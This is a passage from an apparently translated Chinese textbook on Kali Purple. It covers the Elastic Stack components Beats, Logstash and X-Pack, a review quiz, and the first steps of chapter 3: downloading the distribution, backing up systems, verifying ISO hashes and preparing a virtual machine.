  • Auditbeat:这个工具被设计用来收集并发送来自 Linux 审计框架和 Windows 事件日志的审计事件。Auditbeat 监控系统日志中的审计事件,以便提供用户活动的洞察,并通过监控权限变更、文件系统修改等,查找未经授权的特权升级。Auditbeat 在识别被攻陷的网络和/或设备方面具有潜力。它是一个不可或缺的工具,有助于合规性监控、安全分析以及检测可疑活动。

作为一个软件包,Beats 允许进行一些数据转换功能,以便为分析准备收集到的数据。Beats 提供了轻量级的功能,这些功能在数据发送到 Elasticsearch 或 Logstash 之前应用到事件上。这些功能被称为 Beats 处理器。它们可以丰富、过滤和修改收集到的数据。这些处理器可以执行如过滤字段、用元数据丰富数据、重命名字段等操作,当然还有更多功能。

对于商业技术来说,一个关键的考量是能够应对突如其来的、或意外的快速业务增长。幸运的是,Beats 被设计成能够处理可扩展性。不仅如此,它还被设计成能够在高流量和分布式环境中运行。Beats 可以通过在不同服务器或系统上部署多个 Beats 代理来轻松实现水平扩展。这些代理提供了可配置选项来处理负载均衡、容错和故障转移,确保数据收集具有高可用性和弹性。

作为 Elastic Stack 的重要组成部分,Beats 的设计使其能够与 ELK Stack 的其他组件——Elasticsearch、Logstash 和 Kibana 无缝集成。它们实现了数据的高效收集、传输和处理,然后将数据存储在 Elasticsearch 中进行进一步分析和可视化。Beats 可以配置为直接将数据发送到 Elasticsearch 或 Logstash,以进行额外的数据转换和丰富。

最后一部分提出了一个我们应该讨论的话题。我们已经讨论过几次,数据可以直接发送到 Elasticsearch 或 Logstash,而 Beats 也可以将数据发送到任一位置。分析这些场景非常重要,这样在我们职业生涯的发展过程中,才能在设置数据传输工具时选择合适的配置。

话虽如此,我们也要考虑直接将数据发送到 Elasticsearch 或通过 Logstash 作为中介的优缺点。

直接将数据发送到 Elasticsearch 的优点如下:

  • 简洁性:将数据直接发送到 Elasticsearch 意味着数据在到达目的地之前少了一个停靠点。通过去除 Logstash 作为中介,我们简化了数据管道。

  • 可扩展性:正如我们刚才提到的,现代商业技术需要能够适应突如其来或意外的业务增长。通过直接将数据发送到 Elasticsearch,我们为水平扩展提供了可能。这将使得可以在多个 Elasticsearch 节点之间分配工作负载,从而显著提高性能,并让我们能够处理更大规模的数据量。

  • 效率:每当从数据流中移除一个停止点时,所需的处理开销将减少。由于数据能够继续流动并超越原本应该存在停止点的位置,也会减少延迟/滞后。这使得我们能够实现 Elasticsearch 所知名的近实时数据摄取和数据索引。这反过来又加快了搜索和分析的可用性。

  • 简化的架构:为了支持更高效率的论点,Beats 或任何数据传输工具与 Elasticsearch 的直接集成意味着我们有一个更紧凑、更直接的架构。这保持了整个数据流的简洁性,除了提升性能外,还意味着减少了出现故障的可能性。

直接将数据发送到 Elasticsearch 的缺点如下:

  • 有限的数据转换:虽然我们可能会提高效率,但也失去了 Logstash 的优势。这意味着,通过直接将数据发送到 Elasticsearch,我们不再拥有 Logstash 所提供的数据丰富和转换功能。Elasticsearch 虽然也具备这些功能,但不如 Logstash 强大。Logstash 提供了更强大的过滤、丰富和数据解析能力,可以在将数据索引之前进行预处理和转换。

  • 某些场景中的复杂性:在某些情况下,额外的数据预处理将简化 Elasticsearch 最终需要完成的工作。因此,有时候某些数据丰富工作更适合由 Logstash 完成。尤其是那些涉及多个数据源或更复杂转换的超复杂数据管道,Logstash 的灵活性和功能会带来更好的帮助。

  • 与非 Elasticsearch 系统的兼容性:有时可能会出现除了 Logstash 或 Beats 以外的其他系统将数据发送到 Elasticsearch 的情况。如果这些系统与 Elasticsearch 的集成不完全,可能会在数据规范化过程中遇到困难。来自 Logstash 的任何数据都肯定与 Elasticsearch 兼容。另一方面,Logstash 配备了多种插件,可以帮助将数据转换为与 Elasticsearch 兼容的格式。

使用 Logstash 作为中介的优点如下:

  • 数据转换和丰富:Logstash 拥有非常强大的数据处理能力,其规模和范围远超 Elasticsearch。Logstash 能够进行高级过滤、数据丰富和解析。它还具有一定的警报功能。凭借其大量的插件和过滤器,Logstash 可以支持更为复杂的处理方式。综合这些功能,Logstash 能够在将数据传递给 Elasticsearch 之前,先将其转换为兼容的格式。

  • 兼容性和集成:Logstash 中存在大量的插件和过滤器,使其能够与许多数据源和目标进行集成。由于这一点,Logstash 可以支持多种不同的格式、协议和系统。这也使其能够兼容许多非 Elasticsearch 系统,从中获取数据并为 Elasticsearch 进行转换。这赋予了我们所谓的数据管道灵活性。

  • 复杂场景中的灵活性:虽然 Elasticsearch 并不适合极其复杂的场景,但 Logstash 在这一领域表现出色。这些领域包括复杂的数据管道,以及需要从多个数据源收集数据、转换、组合或拆分后再传递给 Elasticsearch 的情况。这提高了处理多样化需求和数据操作时的整体粒度和灵活性。

使用 Logstash 作为中介的缺点如下:

  • 增加的复杂性:虽然 Logstash 增强了将多种不同类型数据标准化以便 Elasticsearch 使用的能力,但它也通过在数据流中增加一个新组件而带来了额外的停靠点。这意味着需要配置、管理和优化更多的内容。对于较小的部署,这可能会增加系统的复杂性和开销,特别是当这些部署的需求较简单时。

  • 潜在的性能影响:每当一个额外组件被添加到技术管道中,就意味着需要额外的处理和开销。这将降低效率,并增加数据流的延迟/滞后。在数据流量很大和/或需要大量转换和丰富的情况下,性能可能会受到影响。

  • 开销和资源利用:由于有额外的技术,资源的需求也会增加。这意味着与将数据直接发送到 Elasticsearch 集成相比,对 CPU、内存和磁盘空间的压力会更大。在涉及非常高数据量或上述资源有限的场景中,这可能更为有价值。

Elasticsearch 与 Logstash 数据摄取的基本区别在于,直接将数据发送到 Elasticsearch 提高了效率,但会减少某些功能;而首先将数据发送到 Logstash 则恰恰相反,增加了功能但降低了效率。Elasticsearch 大大提高了整体效率,减少了预处理开销。Logstash 提供了丰富的数据转换功能,能够处理原生格式下与 Elasticsearch 不兼容的数据。然后,当它处理完成后,会将其作为兼容的摄取平台传送到 Elasticsearch。最终,关于数据发送位置的决策将取决于你对数据管道复杂度、数据转换需求以及与环境中其他系统兼容性的预期。

X-Pack

我们迄今讨论的 ELK 堆栈中的四个组件都是免费的开源应用,而 X-Pack 是一个部分免费的扩展,提供额外的付费服务。它比完全免费的应用提供了增强的功能。

它提供五个独立的功能:

  • 安全性:X-Pack 通过多种措施提供安全性。其中一项是 RBAC(基于角色的访问控制),它允许你定义和管理用户的角色和权限,从而对文档、索引和其他资源进行严格的控制。它为客户端与 Elasticsearch 之间的安全通信提供 传输层安全性 (TLS) 加密。X-Pack 还通过使用 LDAP、Active Directory 和本地认证等方法提供安全的用户认证,帮助保持对 Elasticsearch 集群的安全访问。它还具有审计日志功能,能够记录与安全相关的事件,帮助你监控和追踪用户与系统行为中的异常情况。

  • 监控:X-Pack 提供了对 Elasticsearch 集群的详细监控。它监控的一些问题包括节点健康、资源使用情况和索引速率。这是为了让你能够识别和应对性能问题和瓶颈。它还会查看查询性能,识别响应缓慢的查询和低效的搜索模式。你可以根据预定义的条件和阈值设置监控警报。如果满足预定义条件或指标,这些警报将会通知你。

  • 警报:X-Pack 最关键的组件之一是其警报功能。它使用名为 Watcher 的应用程序来定义和安排基于查询结果和聚合的警报规则。像所有 SIEM 技术的主要产品一样,它可以执行诸如提供自动电子邮件通知或 Slack 消息等操作。它还可以执行自定义脚本,赋予分析师主动响应关键事件的能力。

  • 机器学习(ML):X-Pack 通过其 ML 功能提供异常检测。这使得时间序列数据中的异常能够被自动检测出来,帮助分析师识别不寻常的模式、偏差或其他异常行为。它还使用机器学习来根据历史模式预测未来的趋势,这些趋势否则可能很难被发现或完全隐藏。X-Pack 的 ML 特别之处在于,它能够帮助识别出它认为是导致异常行为的最有影响力的因素。这对于调查人员和事件响应人员进行根本原因分析非常有帮助。

  • 报告:最后,X-Pack 允许你创建和安排报告,这是一项功能全面的特性,类似于警报功能,它将帮助你将 ELK 堆栈转变为一个完整的 SIEM。它提供多种格式的报告,如 .pdf.csv.xls,这些格式与 Elasticsearch 中的数据格式非常契合。你可以按需生成这些报告,或者将它们安排在预定的时间间隔内运行。

通过以上内容,我们已经了解了一整套被称为 Elastic SIEM 的应用程序。我们讨论了可以用来收集、传输、丰富和可视化安全数据的工具。现在,是时候开始设置我们的技术,实践这些内容了。

总结

在本章中,我们了解了 Kali Linux 的发展历程,并开始拆解该操作系统的紫色变种(Purple variant)提供的最流行工具集之一。我们深入探讨了 Elastic Stack,通常被称为 ELK 堆栈,因为它将成为本书的主要焦点之一,作为 Kali Purple 的核心。我们深入了解了 Elasticsearch 和 Logstash 如何处理数据,从数据的摄取到丰富再到聚合。我们还看到了如何通过 Kibana 将这些数据以可视化的方式呈现出来。

在彻底分析了 ELK 堆栈如何处理数据之后,我们开始检查原始数据源以及如何通过 Beats 从中提取数据并传递给 Elasticsearch,通常通过 Logstash 作为中间停留点,但并非总是如此。我们研究了直接将数据发送到 Elasticsearch 与通过 Logstash 发送数据之间的差异。我们还了解了 ELK 堆栈的商业组件 X-Pack,并能看到当 X-Pack 告警功能被纳入公式时,ELK 堆栈能变得多么像一个完整的 SIEM。

现在我们已经对 Kali Purple 的核心功能有了扎实的理解,接下来可以进入学习过程的下一个阶段——实践应用。在下一章中,我们将开始设置我们的技术,以便获取、安装和配置我们自己的 Kali Purple 实例。是时候将我们所学的知识付诸实践了!

问题

回答以下问题,测试你对本章内容的理解:

  1. 什么是 ELK 堆栈?

    1. 一群野鹿站在彼此之上

    2. 一组协同工作的开源软件

    3. 环境 Linux 知识

  2. 正确还是错误:Beats 是一个商业产品,属于 ELK 的一部分,但使用它需要付费。

    1. 正确

    2. 错误

  3. 管道与其他聚合的主要区别是什么?

    1. 这种类型的聚合利用其他聚合的结果

    2. 其他聚合依赖于首先执行这个聚合

    3. 这种聚合围绕一组长而细的线性标准展开

    4. 如果发生管道泄漏,必须通知 EPA

  4. 在 Elastic 堆栈管道中,数据在哪里得到增强(你可以选择多个选项)?

    1. 当其中一个 Beats 代理在数据发货之前收集数据时

    2. Kibana 只有在数据通过 Logstash 和 Elasticsearch 时才会丰富数据

    3. Logstash

    4. Elasticsearch

  5. 哪个 ELK 堆栈组件帮助用户可视化数据?

    1. Elasticsearch

    2. Logstash

    3. Kibana

    4. Beats

    5. X-Pack

  6. 条件语句在 ELK 堆栈中是什么?

    1. 一种处理气流的设备,用以保持其冷却

    2. Kali Purple 实例的操作员与其客户之间的协议

    3. 一个 Elasticsearch 进程,只有在满足所有需求的情况下才会执行

    4. 一组命令,用于根据预定标准控制数据流

深入阅读

要了解本章所涵盖的主题,可以查看BM25 算法www.elastic.co/blog/practical-bm25-part-2-the-bm25-algorithm-and-its-variables

第三章:安装 Kali Purple Linux 环境

到目前为止,我们已经了解了世界事件如何影响网络安全概念的演变,导致了 Kali Purple 及其他防御性安全软件包的诞生。我们已经初步接触了 ELK Stack,它作为 SIEM 的核心组件,而 SIEM 又是 SOC 的核心组件,SOC 本身又是 Kali Purple 的核心组成部分。怎么样,我们开始组建我们一直在大肆赞扬的“环境”吧?让我们动手吧!

本章将引导你准备个人技术设备,以托管和运行我们自己的 Kali Purple 实例。虽然我们所涵盖的部分内容看起来可能随意,但它们是按照有目的和战略性的顺序呈现给你的。强烈建议你按照这个顺序操作,以确保顺利准备好你的技术设备。请放心,我们的“疯狂”是有方法的,随着我们操作的进行,过程会一步步解释为什么这样做。我们将在本章中主要涵盖以下部分:

  • 获取 Kali Purple 发行版

  • 安装虚拟 (VM)

  • 安装 Kali Purple

  • 安装 Java 软件开发 工具包 (SDK)

由于人们使用各种个人计算设备,我们将覆盖多种情况,为 Windows、Mac 和 Linux 主机提供安装指南。虽然有其他与 Kali Linux 竞争的渗透测试和进攻性安全工具,但在写作时,只有 Kali 提供如此全面的防御性网络安全工具(100 多种),并且这些工具是建立在其进攻性套件之上的。然而,本章仅讨论 Kali Purple 操作系统的获取和安装。根据你使用的操作系统,获取和安装适当应用程序的方式有所不同。如有必要,我们将提供有关用户在设置 Kali Purple 环境过程中可能遇到的常见问题的见解,并在需要时提供解决方案。

了解 Kali Purple 是为了适应网络安全分析师的思维方式,无论是进攻性还是防守性,这一点非常重要。成为任何领域的真正分析师意味着培养独立的研究、思考和解决问题的能力。如果你还不确定自己是否已经达到了这种水平,不用担心!我们将在整个过程中提供指导,并在章节末提供资源来帮助你。

到本章结束时,你应该拥有一个完全功能的 Kali Purple 环境,里面配备了我们已经讨论过的许多工具——以及我们尚未讨论的一堆工具——并且准备好填充本书其余部分讨论的其他功能。如果你愿意,你还可以将这个章节作为参考点,帮助他人设置他们的 Kali Purple 环境。

技术要求

本章节的技术要求如下:

  • 最低要求:应为带有 amd64 (x86_64/64 位)i386 (x86/32 位) 架构的计算设备。Kali 推荐选择 amd64 选项。系统应至少包含 2 GB 的内存和 20 GB 的硬盘空间。然而,Kali Linux 中的一些工具会占用大量资源;Burp Suite 就是其中之一。Kali 安装页面 www.kali.org/docs/installation/hard-disk-install/ 推荐如果打算使用这些应用程序,内存最好为 8 GB

  • 推荐:网络安全领域的从业者建议,您应选择 amd64 (x86_64/64 位) 架构,内存建议为 8 GB——如果可能的话,更多内存更好——以及最多 200 GB 的硬盘空间。如果你没有这些资源,也不用担心。只要满足最低要求,学习和体验 Kali Purple 是没问题的。

虽然在某些情况下,Kali Purple 的安装要求可能比这些小,但我们写这本书并不是为了折磨你——推荐的要求将涵盖本书中的大多数场景。和所有技术一样,Kali Purple 的要求实际上是“需求越多,效果越好”。

获取 Kali Purple 发行版

设置 Kali Purple 环境的第一步是获取 Kali Purple 本身。如果你已经在 Kali Linux 系统中工作,那么这一部分对你来说不必要。如果适用于你,可以直接跳到安装 Kali Purple部分,在那里你可以了解如何在 Kali Linux 环境中获取 Purple 框架。如果不适用,或者你想亲自体验这个过程,继续往下阅读。

首先我们将下载并安装合并版的 Kali Linux 和 Purple 框架。因为一些虚拟机安装,包括我们将作为示例使用的 VirtualBox,会同时安装虚拟机、Kali Linux 和 Purple 框架,这样可以节省大量时间。

在此之前,让我们回顾一下 CIA 三原则。毕竟,Kali Purple 的目的是为了安全!所以,从一开始我们就要养成智能的安全习惯。在这里,我们将使用 CIA 三原则中的“I”——完整性。这里所说的完整性,意味着我们期望的数据从其来源到达我们的设备时没有任何改变。我们可以通过比较哈希值来法医确认这一点。我们下载的应用包会在下载时被分配一个哈希值。我们将演示如何找到该哈希值、记录它,然后在下载后重新计算并与之进行比较。

如果你愿意,可以现在就备份你的系统或创建还原点,或者等到你下载完文件后再进行。无论你选择哪种方式,都要确保在进行任何需要分区或修改系统的安装或活动之前,先进行适当的备份*。

Linux 备份

Linux 有许多备份选项。由于 Linux 的强大和灵活性体现在命令行上,下面我们将提供相关的命令行操作。首先,你可能需要考虑压缩文件,以节省空间并便于传输到备份介质。

要压缩文件,请输入以下命令:

tar -czvf backup.tar.gz /<path_to_file_needing_backup>/

压缩后,你可以使用rsync来备份文件。输入以下命令:

rsync -avzh /<path_to_original_source>/<path_to_backup-medium>/

Windows 备份

决定你希望用什么介质来备份设备。如果是外部硬盘等物理设备,准备好并将其插入设备。你的机器应该能识别设备并通知你设备的位置。如果是网络设备,记下其位置,以便知道在哪里告诉备份软件处理你的请求。多年来,Windows 改变了提供备份选项的方式。通常,你可以打开开始菜单,在搜索栏中输入备份恢复。然后按照提示操作。或者,你可以选择开始 | 设置,在搜索栏中输入恢复,然后选择创建还原点

macOS 备份

决定你的备份介质。插入你的备份设备并按照屏幕上的提示操作。如果没有提示,你可以使用 Time Machine 来备份你的设备。进入系统偏好设置,点击苹果菜单 | 系统偏好设置 | Time Machine。进入Time Machine 偏好设置面板后,点击选择备份磁盘,然后选择你希望备份到的磁盘。确保通过切换开关启用 Time Machine。

让我们开始吧。当第一次下载一个软件包时,最明智的做法是获取最新的稳定版本。例外情况是,如果您是经过培训和/或有经验的测试人员,且拥有受保护的环境(比如沙箱)来部署该应用程序。沙箱是您系统中的一个隔离部分,它模拟完整的系统并隔离进程。它限制资源和与底层系统的交互,因此在其虚拟容器中执行的任何恶意或损坏的软件理论上不会对实际机器造成危害。然而,我们并不是在做测试,所以我们还是选择最新的稳定版本。要获取最新稳定的 Kali Purple,请打开您的网页浏览器,输入地址 www.kali.org/,当页面加载完成后,选择顶部导航栏中的Get Kali,或者如果有的话,选择Download链接。这两个链接都在图 3.1中被高亮显示,并且都会带您到同一个地方。

选择一个高亮显示的链接以获取 Kali Purple 发行版:

图 3.1 – Kali Linux 主页

图 3.1 – Kali Linux 主页

当新页面加载完成后,点击后缓慢向下滚动,直到看到标有Kali Purple的部分,并找到它下方标有Recommended的方块。它应该是左侧的方块,如图 3.2所示。

下载方块上有两个操作步骤:

图 3.2 – Kali Purple 下载方块

图 3.2 – Kali Purple 下载方块

图 3.2 中高亮显示的两个字段是我们需要操作的部分。首先,返回浏览器并点击被高亮的sum框。点击后,图像会翻转,并为您提供 Kali Purple 发行版的 SHA-256 哈希值。您需要复制并粘贴此值;或者,将此哈希值记录到一个您可以轻松引用的位置,便于下载 Kali Purple 后使用。

记录下 SHA-256 哈希值,以便在下载后进行对比:

图 3.3 – Kali Purple 下载的 SHA256 哈希值

图 3.3 – Kali Purple 下载的 SHA256 哈希值

记住,哈希值是一种单向数学运算。它是一个固定大小的字母数字值,通过从计算机输入(如果你愿意,可以理解为一个消息)并应用一种先进的算法来生成,最终得到唯一且固定大小的输出。它的设计目的是,即使是最微小的变化——哪怕是单个 1 或 0——也会导致生成的哈希值与原始值有显著不同。

比如,我们来看以下语句 – I love Packt Publishing.

那个语句的 SHA-256 哈希值如下:

2771187E06ECFAAA0B343D9C6808C503923DAF5323477B8B0BC0F39FEEF74CFA

现在,让我们来更改这个字符串,只需将句号替换为感叹号 – I love Packt Publishing!

该语句的 SHA-256 哈希值变成了以下内容:

3491BDDE067911CA8ACE3B1E8319A9A7817356008498C92E195B9B412D5452F2

请注意,这两个值看起来完全不同。输出的长度始终是相同的。如果我们仅保留品牌名称 Packt,就可以看到这一点。

我们得到了一个新的 SHA-256 哈希值,其长度与其他哈希值完全相同:

2D4CCDC3F62901AAD8A6D65B02C1D9F48EA83913209DD41AB5F3EC6F83BECDA9

你可以使用其他类型的哈希算法,但如果你从事或希望从事网络安全工作,最应该熟悉的两种哈希算法是我们之前使用的消息摘要算法 5MD5)和安全哈希算法 256SHA-256)。这两种哈希算法是你在实际操作中最可能遇到的。

注意

哈希值是如此可靠,以至于它们经常作为科学证据出现在美国法律系统中,在法庭程序中用于证明犯罪或非犯罪活动。哈希值可以用于确定证据在审判中的可采性。它也是数字取证中的关键工具,并且在最复杂的网络犯罪调查中发挥重要作用。联邦调查局FBI)定期使用哈希值帮助解决犯罪案件。请查看进一步阅读部分的链接,了解该机构如何在隐私影响评估PIA)、儿童受害者识别程序CVIP)和无辜图像国家倡议IINI)中使用哈希值。

记录哈希值后,返回浏览器,点击在图块左下角显示的下载图标(在图 3.2中红色标出)开始下载 Kali Purple .iso 文件。根据你使用的浏览器,你应该能在右上角看到一个弹出框,类似于图 3.4中的图像,确认.iso 文件正在下载中。

在浏览器的右上角查看活动下载框:

图 3.4 – Kali Purple .iso 镜像下载

图 3.4 – Kali Purple .iso 镜像下载

在本节中,每当你在文件路径中看到username这个词时,你应该假设你需要将这个文本替换为该计算环境中的实际用户名。例如,通过将username替换为以下文件路径中用户的实际用户名,.iso文件将根据你使用的操作系统,位于以下位置之一:

操作系统 位置
Linux /****home/username/Downloads
Mac /****Users/username/Downloads
Windows C:\Users\username\Downloads

表 3.1 – 各操作系统的默认下载文件路径

下载完成后,你有多种选项可以继续操作,但在继续之前,我们首先验证哈希值并将其与我们从网站上记录的哈希值进行对比。我们并不假设你的技术水平,所以我们会保持简单,你可以在自己准备好之后,随时探索快捷方式和其他替代方法。与此同时,我们先打开一个命令行工具,并导航到下载文件所在的文件夹。

Linux

首先,打开一个终端窗口。从那里,输入Bash以打开命令行界面。Bash代表Bourne Again Shell,是 Linux 用户最常用的命令终端。接着,在命令提示符下输入cd ~/Downloads以进入文件夹。cd代表change directory,键盘左上角的波浪符号(~)表示主目录。这使你能够快速导航到另一个目录,无论当前路径是什么。

你可以通过两种方式确认自己是否在正确的目录中。首先,输入pwd,它代表print working directory。这将显示绝对路径,在本例中应该是/home/username/Downloads。第二种方式是输入ls,它代表list。你应该能看到一个名为kali-linux-2023.3-installer-purple-amd64.iso或类似的文件。如果文件存在,那么输入sha256sum kali-linux-2023.3-installer-purple-amd64.iso,如果文件名与这里提供的不一样,记得替换成你的 Kali Purple 下载文件的准确文件名。结果将在下一行显示,应该类似于e3e977a8f99622be55365cb9c21dc7f6e625827cea85233cea2cc04ac09eee3e,并且它应该与下载 Kali Purple 时记录的哈希值逐字匹配。

Mac

打开应用程序文件夹,然后打开实用工具文件夹。在这里,选择并打开终端窗口。与 Linux 相同,输入cd ~/Downloads以进入文件所在位置。您也可以通过输入pwd来验证文件路径,但由于这是 Mac,绝对路径的显示方式与 Linux 稍有不同。在这种情况下,它应该是/Users/username/Downloads。使用ls列出命令可以显示目录内容,在其中查找您下载的.iso文件。与 Linux 稍有不同,要获取下载文件的哈希值,输入shasum -a 256 kali-linux-2023.3-installer-purple-amd64.iso,如果文件名不同,请替换为实际的文件名。如果在本书印刷后但您阅读之前 Kali Linux 发布了 Kali Purple 的更新版本,则文件名可能不同。与 Linux 一样,结果应该类似于e3e977a8f99622be55365cb9c21dc7f6e625827cea85233cea2cc04ac09eee3e,并且应该与您在下载 Kali Purple 之前记录的哈希值一一对应。再次强调,如果发布了更新版本的 Kali Purple,这个值会不同。然而,不变的是,这个值应该与网站下载位置上呈现的哈希值匹配。

Windows

Windows 提供了两种获取文件哈希值的基本方法。一种是通过命令提示符,另一种是通过一种强大的自动化和脚本工具——PowerShell。PowerShell 的具体细节超出了本书的范围,但作为一名网络安全专业人员,您最终会希望花时间去研究并学习它。微软在他们的学习平台上提供了免费的入门培训,您可以在本章末的进一步阅读部分找到该培训的链接。

让我们从命令提示符开始。按下Windows键,在弹出的窗口中,在搜索栏输入cmd。选择显示的命令提示符应用程序。与 Linux 和 Mac 不同,Windows 提供了一个非常方便的小快捷方式,可以直接进入下载文件夹,无需知道当前登录的用户名。如果您的下载文件夹位于 Windows 默认位置,您可以使用以下命令。只需输入cd %USERPROFILE%\Downloads,系统将直接带您进入当前登录用户的下载文件夹。进入后,输入dir以查看目录内容,并查找您下载的 Kali Purple .iso文件。要获取文件的 SHA-256 哈希值,输入CertUtil -hashfile kali-linux-2023.3-installer-purple-amd64.iso SHA256并按Enter键。哈希值应该返回e3e977a8f99622be55365cb9c21dc7f6e625827cea85233cea2cc04ac09eee3e,但关键是,无论返回什么,它都应该与您在下载网站上记录的哈希值一致。

第二种方法涉及前面提到的 PowerShell。要启动 PowerShell,按下Windows键并在搜索栏中输入PowerShell。然后,点击出现的应用程序,就像命令提示符一样,PowerShell 中也有快捷方式可以直接进入下载文件夹。输入cd $HOME\Downloads来进入.iso文件所在的文件夹。接着,输入dir确认所需的文件是否在该文件夹中。要获取文件的哈希值,输入Get-FileHash -Algorithm SHA256 -Path kali-linux-2023.3-installer-purple-amd64.iso,这应该返回与之前显示的哈希值相同,或者至少与下载位置提供的值匹配。此外,PowerShell 还提供了在未进入下载文件夹的情况下直接获取文件的能力,只要你知道文件路径并记录了要计算哈希的文件名。在这种情况下,你可以在打开 PowerShell 工具后立即输入以下命令——Get-FileHash -Algorithm SHA256 -Path C:\Users\username\Downloads\kali-linux-2023.3-installer-purple-amd64.iso。然后,查看是否得到了与前一步相同的结果。

一旦下载的完整性和成功性得到确认,我们需要考虑是否将该文件转移到磁盘或 USB 驱动器上,并且在对 Kali Purple 进行下载或安装虚拟机之前,我们需要先备份设备。我们本可以在下载 Kali Purple 之前就备份设备,但由于我们尚未这么做,而且已经确认了下载的完整性,现在备份设备将保留下载文件,以防我们以后需要恢复到这个状态。

一旦我们的所有数据都已备份,我们可以选择将 Kali Purple 的.iso文件复制到 USB 闪存驱动器或外部硬盘驱动器上,以便携带,特别是如果我们有多个设备需要安装操作系统的话。当然,如果我们希望在大型企业网络中使用此系统,也有方法可以推送这样的安装。然而,执行此操作所需的网络知识和技能超出了Kali Purple 简介的范围。此外,重要的是要记住,这个发行版包含了高级渗透测试工具,这些工具可能不是在整个组织中广泛分发的最安全的选项。更合理的做法是将这套工具高度限制在组织内一小部分经过培训的专业人士手中。

现在我们已经获取了 Kali Purple 并备份了设备,是时候考虑如何运行它以便正确安装了。需要注意的是,Kali Purple 是一个非常强大的工具套件,如果落入不法分子之手,可能会造成严重甚至犯罪性的损害。我们应当将其严格保护,只在精心管理的环境中运行,以便在必要时能迅速响应。建立这种环境的最佳选择是使用一种伪沙箱类型的虚拟机(VM)。即使主机系统已经是 Linux 系统,建议也在虚拟机中运行 Kali Purple,我们将在下一节中讲解如何建立虚拟机。

虚拟机的安装

在这一节中,我们将专注于安全地隔离设备操作系统的一部分,并将其单独设置,只用于运行 Kali Purple。这种隔离将使你能够访问运行 Kali Purple 所需的资源,而不会对底层操作系统造成不良影响,后者我们今后将称之为主机系统。这种隔离通常被称为虚拟机,我们有很多选项可以用来设置虚拟机。

虚拟机有助于提供一个受控的环境,如果我们在任何时候犯错,它可以确保我们能够迅速恢复并重新开始,而不会对主机造成损害。它还可以隔离潜在的网络威胁,如果它们真的发生,防止其他不良后果。虚拟机之所以叫这个名字,是因为它们所创建的独立实例被认为是虚拟的,如果不是迷你版的话,基本上就是主机系统的副本。虚拟机中的一切,都是虚拟机内的事。

虚拟机(VM)是通过虚拟化软件(如 VMware 或 VirtualBox)进行设置和配置的。虽然在设备上安装多个虚拟化软件应用程序不一定是坏事,但它可能会带来一些不必要的挑战,例如竞争计算机资源、兼容性问题和软件冲突。这些问题是我们在开发 Kali Purple 技能时不希望遇到的。因此,我们将花些时间检查系统上是否已经安装了任何虚拟化软件。

如果你当前正在使用 Linux 系统,找到并打开一个命令终端,输入lsmod | grep kvm来检查基于内核的虚拟机KVM)模块是否已加载。如果有任何输出返回,那么你就知道 KVM 确实已经安装并且可以使用。另一种方法是输入virt-what命令,这个命令会检查系统是否存在多种虚拟化技术,如果有的话,会返回这些技术的相关信息。如果你的 Linux 版本属于 Debian 系列(如 Kali Linux),可以输入dpkg -l | grep virtual;如果你的版本属于 Red Hat 系列,可以输入rpm -qa | grep virtual来搜索与虚拟化相关的包,并显示系统中已成功安装的结果。

如果你是在使用 macOS 体验 Kali Purple,可以直接打开 Finder 中的应用程序文件夹,查找VMware FusionParallels DesktopVirtualBox。虽然还有其他与 Mac 兼容的虚拟化软件平台,但它们并不适合托管 Kali Purple,并且很可能与这三款主要平台所需的资源发生冲突。如果你看到了这三款软件,那么说明你的 Mac 上已经安装了虚拟化软件。

对于 Windows 用户,按下你的Windows键并输入hyper-v manager。如果搜索结果中出现 Hyper-V 管理器,那么说明你的设备上已经安装了虚拟化软件,这通常是最可能的情况。你还可以搜索VirtualBoxVMWareParallelsQEMU

在这些情况下,潜在的虚拟化软件列表只是最常见、最流行和最可能安装的软件的概述。你可以进一步采取额外步骤,打开搜索引擎,进行关于与你特定操作系统和版本兼容的虚拟化软件的搜索/查询。然后,返回并使用我们刚才讨论过的方法深入挖掘。如果你发现设备上已安装虚拟化软件,接下来有几个事项你需要了解才能继续。

首先,你可以搜索相关的说明来移除设备上的软件,然后按照我们提供的示例(由于 VirtualBox 在 Linux、macOS 和 Windows 上具有广泛的兼容性,我们将使用 VirtualBox)安装新的虚拟化软件。请记住,可能已经存在虚拟机,你需要确保在卸载软件之前,不会删除你可能希望保留的内容。

然而,如果你决定保留现有的虚拟化软件,并且仅仅进行一些额外的搜索,了解如何使用现有软件设置新的虚拟机,那也不会太糟糕。很可能,搜索结果会给出足够简单的步骤,帮助你顺利完成设置,如果你选择这个路线的话。否则,我们将继续假设你没有虚拟化软件,并需要第一次获取和安装它。

注意

如果你的设备上没有任何已经建立虚拟化的证据,你需要确保在设备的 BIOS 或 UEFI 设置中启用了虚拟化。为此,你需要进行一次互联网搜索,查找你设备特定品牌和型号的按键信息,看看需要按哪个键才能进入这些设置。通常,它们是DelF2F10Esc键中的一个。

一旦知道需要按哪个键,重启你的电脑,并在启动过程中反复按下该键。启动过程应该会暂停,BIOS 或 UEFI 菜单将加载出来。使用键盘上的箭头键浏览各个选项,寻找CPU 配置高级设置字段。你也可以在重启之前搜索设备制造商提供的具体操作说明,帮助你顺利进入此过程。

CPU 配置高级设置中,寻找任何提到虚拟化VT-xAMD-V英特尔虚拟化技术或类似术语的选项。你也可以在处理器安全性系统配置子菜单下寻找这些术语。找到并选择相关字段后,你可以通过按+-键,或者有时按Enter键来启用或禁用虚拟化。完成后,确保保存设置——按F10键,或高亮保存按钮并按Enter。然后,退出 BIOS 或 UEFI 界面,允许设备重新启动。此时,虚拟化应已启用。

就像我们在下载 Kali Purple 时所做的一样,我们将首先将浏览器指向合适的下载位置,并获取校验和,即哈希值,之后我们会将其与下载的可执行文件的哈希值进行比较,确保它在下载过程中没有受到任何损害,完整性得以保证。

为此,打开你的浏览器,访问www.virtualbox.org/wiki/Downloads。当你进入 VirtualBox 网站时,你会看到多种下载 VirtualBox 的选项,如图 3.5中的紫色框所示。我们将引导你完成整个过程,涵盖 Windows、macOS 和 Linux 之间的差异。你还可以看到两种获取校验和的选项,分别是 SHA-256 或 MD5 哈希值。由于 SHA-256 更加安全,我们将使用图 3.5中红色高亮显示的 SHA-256 哈希值:

VirtualBox 提供 Windows、macOS 和 Linux 的下载:

图 3.5 – VirtualBox 下载和校验和

图 3.5 – VirtualBox 下载和校验和

